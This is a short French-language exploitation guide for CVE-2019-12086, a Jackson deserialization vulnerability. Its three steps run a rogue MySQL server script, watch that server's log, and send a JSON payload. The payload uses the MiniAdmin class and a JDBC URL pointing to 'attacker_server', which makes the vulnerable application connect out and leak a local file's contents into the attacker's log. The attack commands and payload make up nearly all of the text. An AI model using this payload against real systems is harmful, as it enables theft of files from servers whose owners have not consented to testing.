Documentation

CVE-2019-12086 Désérialisation Jackson

Exploitation de la vulnérabilité

1. Démarrer le serveur MySQL malveillant :

python rogue_mysql_server.py

2. Dans le même répertoire, afficher mysql.log :

tail -f mysql.log

3. Envoyer le JSON suivant à l'application vulnérable :

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

Lorsque Jackson désérialise la chaîne JSON malveillante, il se connecte au serveur MySQL malveillant et le contenu du fichier lu est écrit dans le mysql.log du serveur malveillant.